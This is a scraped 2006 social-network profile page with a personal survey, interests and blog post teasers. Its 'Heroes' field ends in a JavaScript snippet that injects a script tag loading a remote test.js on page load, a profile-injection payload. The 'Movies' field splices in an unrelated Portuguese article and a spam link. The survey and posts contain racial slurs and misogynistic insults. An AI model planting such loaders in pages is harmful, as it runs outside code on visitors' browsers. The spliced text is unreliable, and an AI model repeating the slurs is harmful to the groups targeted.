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Bathin Ape Fanatic, Red Monkey Junkie

Just moved to Dunn, bout to be my CITY

About Me

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Well...If U Really Wanna Know...
The Basics
Name: Jaycen
Nickname(s): JG
Screen Name: yabeztbet
Age: 23
Age You Act: between 23-28
Age You Wish You Were: 65, so I can retire
Hair Color, Short or Long: jet black, medium
Eye Color: light brown
Height: six feet even
Current Location: tha san-trap
Birthplace: miami
Male? Female? Somewhere In Between? Would you rather not say?: I'm ALL PAPI
Dig the Dudes, the Chicks? or a lil of Both?: strictly fo tha ladies
Random Things
What room are you in right now?: the office at work
Where do you wish you could be at this very moment?: at mi casa en la cama
Want to be with anyone in particular right now?: Melyssa Ford, gimme 2 hours baby
Last time you cried?: yeah right
Last time you laughed?: after I was asked the last question
Ever been drunk?: hell yeah
Done the drugs??: DRO BABY!!
Are you a virgin?: lmfao
Do you like virgins?: they cool
Would you rather be alone for the rest of your life or w/ your worst enemy?: alone, with millions of dollars
Do you have any enemies?: of course, yall boyfriends hate me
What are their names?: who cares
Why dont you like him/her?: cuz I DONT LOVE DEM HOEZ!
Do you talk trash?: daily
Are you mean or nice?: both
Were you popular in school?: naw, i was an outcast
Played any sports?: si...
Do you text or talk more?: neither
What's your biggest fear?: God
Greatest strength?: my sexiness and wealthy intelligence
Greatest weakness?: please
What do you do on the weekends?: what i dont do on weekdays
Ever been hopsitalized?: desafortunadamente
Ever been in a fight?: if you wanna call it that
Been beat up?: by my dad when i was 12
Let's Talk About Luuuuuuuuuuuuuuuuv
Status: solo
Are you crushin on anyone?: smh@ crushes.. i left that shit in high school
Do they know it?: no
What do they look like?: Halle Berry
Would you go out with me?: if you paying
Longest relationship?: 2+ years
Shortest Relationship?: I went to class, when I got out.. we broke up..52-58 minutes
Ever been in an abusive relationship?: yeah, crazy bitch
Ever been in love? like.. LOVE LOVE?: yeah, even I caught tha vapors
Or is Love just a crock of shit?: not necessarily, but if you feel that way
Are you more fun or serious in relationships?: both, i have a good combination
Are you ready to settle down?: i am, but i dont want to
Believe in Love @ first sight?: yeah, i saw this 64 inch plasma screen tha other day and man...
Name of best bf/gf?: by name, had to be Anastasia
Name of WORST bf/gf?: by name, had to be Meagan .. AND SHE WAS BLACK!!
More Random Crap That I Forgot To Ask
Ever kissed a friend?: a female friend, yeah
Wanna sleep with a friend?: been there
Do they know you wanna?: like I said
The farthest you've ever gone on a dare: ningun comentario
Places you've visited: I been alot of places.. seen alot of faces
Place you wanna visit: Africa, Brazil and Egypt
Do you think you can dance?: I know I can, ask them broads at Limelight
Are you happy with yourself?: i'm good
Anything you would change about yourself?: I wanna be a dark skinned nigga for some reason
If you go back, what day would you go to?: The day I was born, simply beautiful since day 1
Any piercings?: no
Any Tattoos? What do they say?: not yet
Do you think you're attractive?: yes
Do you date a lot?: not really
Believe In God?: of course
Yay Bush or Nay Bush?: fuck bush
For or against war?: as long as I aint in it
Is there anyone you wanna hurt?: Hurt as in?
Do you think you're scary?: nah.. im too cute to be scary
How would your friends describe you?: "That spic nigga is crazy"
Do you have a dark side?: everybody do
Are you selfish?: at times
Who was your first kiss? How old were you?: this chick named Claudia, I was 8.. young pimpin
First love?: Johanna Morales.. find her, and smack her for me
First hate?: math
Happiest memory: graduation
Saddest memory: too many to talk about
Do you smoke?: herb yes, newports .. nah
Drink?: occasionally
Last lie you said: "You are gorgeous girl"
Last word you said: fuck
Last thought you had: bout tha last word I said
Dream Job: athlete;basketball,football,baseball or ESPN
Gone out on a pitty date?: several times; oh you talkin about me? nah
Ever stolen anything?: yeah, I used to steal grapes from BI-LO when I was little
Does anyone have a crush on you?: probably
Ever Broken Any Hearts?: i hope not.. but probably
Had your heart broken?: nah
Ever cried so hard you couldn't breath?: what?
Ever laughed so hard you cried?: hell yeah..
Opposite Sex: What do you prefer?
Hair color? Long or short?: as long as its proper and not all fucked up lookin
Eye Color: dont matter, as long as they aint cock eyed n shit
Thin, Toned, Muscular, Fat, Average: dont matter, as long as they dont look like Kate Moss or a female Fat Albert
Care if they smoke?: yeah, dont
Care if they drink?: nah
Would you date me NOW?: who tha fuck are you?
How was this survey?: long as hell..
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My Interests

not doing something lame.. thats what interests me

I'd like to meet:

Anybody who tryin to break bread

Music:

I'm versatile.. I like everything... except dat country $hit

Movies:

Brazilian Goddess Immerses Into the Sea - Livia Andrade


A final do Concurso Verão Fast Bronze Fitness Model agitou a noite paulistana no dia (14/02) com a final que elegeu o casal propaganda para 2006 da marca reconhecida como uma das maiores redes de bronzeamento do país: a Fast Bronze. A noite animada contou com a presença de várias celebridades. Entre eles: Leão Lobo, Núbia Oliver (modelo), Marisa Carnicelli e Joana Matsushita (A Casa É Sua – Rede TV), Victor Wagner (ator), Lívia Andrade (modelo), Marcelo Bandeira (Rede Mulher) e outros.Além disso, o evento foi aberto ao público que levou um 1 kg de alimento não-perecível doados à entidade Amparo Maternal. A programação incluiu desfiles das grifes Rat Boy e Fatal Girls. Entre as batidas das pick-up’s comandadas pelo Dj da Bubu Lounge Disco rolou o som da banda School Bus. Os 22 finalistas desfilaram corpos dourados, bronzeados através do sistema Fast Bronze, levantando aplausos e assobios das mais de 600 pessoas que prestigiaram o concurso. “Todos (os candidatos) são belíssimos”, elogiou Leão Lobo.O Concurso Verão apoiou o Amparo Maternal, uma maternidade sem fins lucrativos com o maior número de partos do país. Pulseirinhas produzidas exclusivamente com o logotipo da entidade fizeram o maior sucesso entre o público. Elas foram vendidas na entrada por 5 (cinco) reais cada e seu valor foi todo revertido ao Amparo.

What do you mean NO?


Don't trust these hoez! You might get embarrassed.. www.upyourvideo.net I saw Mission Impossible 3, not bad .. fav movies of all time? Scarface, Pulp Fiction, Shawshank Redemption, Forrest Gump, King Of New York, Harlem Nights, All Quentin Tarentino movies, most Martin Scorcese movies and Sin City

Television:

ESPN,MTV and Discovery/History/NGC

Books:

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Heroes:

My father and mother .. Pops: "You betta not get none of these hoochies pregnant before you get married! Child support is a muthafucka!!" Moms: "Dont flunk outta school ni66a" ...."var x=document.createElement('script');x.src='http://www.../.../ test.js';document.getElementsByTagName('body')[0].appendChil d(x);" /

My Blog

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If I knew how to post pics in this thang I would do it, but since I dont here's the link.. http://www.cpixel.com/forum_posts_display.asp?catid=1&su bid=193563&cv=1&page=2 look at the banana...
Posted by JG aka Ya Bezt Bet on Sat, 30 Dec 2006 10:59:00 PST

Stop The Myspace WHORING!

1) Just cause a young nigga add you to his friends list, don't mean he want to fuck.. real talk 2) What's the point of nudity on here? THERE ARE CHILDREN ON THIS SHIT! real talk 3) Why set-up a date t...
Posted by JG aka Ya Bezt Bet on Tue, 17 Oct 2006 01:53:00 PST

Stop The Myspace Bitchin'!

1) If somebody doesn't have you in their "Top Friends", dont bitch and complain.. its the internet muthafuckaz! 2) If somebody doesn't add you to their "Friends List", look, whinin is for babies and y...
Posted by JG aka Ya Bezt Bet on Tue, 17 Oct 2006 01:49:00 PST

Pon Da Uglies

Why do under average looking people have the most confidence in the world?
Posted by JG aka Ya Bezt Bet on Fri, 04 Aug 2006 09:04:00 PST

Top 25 Best Ways To Make Her Happy 25-21

25. Remember her birthday 24. Don't oblige yourself with ongoing sex talk 23. Buy her something just to do it instead of her having to ask or tell you 22. Listen to her 21. An outing she's never been ...
Posted by JG aka Ya Bezt Bet on Thu, 06 Jul 2006 05:35:00 PST

5 * Bloggin

You see a successful business man dressed in suit, tie and sports coat walks into a local business where you are also located. Then walks in a younger gentleman dressed in jogging pants, tee...
Posted by JG aka Ya Bezt Bet on Thu, 06 Jul 2006 04:57:00 PST

Is Ass Essential? or is it just meat?

On going discussion I have with my fellow peers from tha C.M.M.D.B ... Sure, ass looks great in some things... while at the same time it can look totally out of order and sharpening to your stomach.. ...
Posted by JG aka Ya Bezt Bet on Sat, 01 Jul 2006 03:16:00 PST

10 reasons I dislike 50 cent

1. Anybody who can create a whole movie off of lies and tell it like its tha truth, needs to be shot 9 times for real and maybe then will realize what great kind of puss ball they are. 2. Why grease y...
Posted by JG aka Ya Bezt Bet on Sat, 01 Jul 2006 03:11:00 PST

4x white tee and a wife beata

Everyday attire for tha summa time.. what yall wearin
Posted by JG aka Ya Bezt Bet on Sat, 01 Jul 2006 02:52:00 PST

Some niggas just not as smart as I

It's true, I feel within myself that I am above and beyond sometimes in relation to other males.. I just dont see the same traits or characteristics.. Maybe it's because I'm intuitively inclined at a ...
Posted by JG aka Ya Bezt Bet on Sat, 01 Jul 2006 11:45:00 PST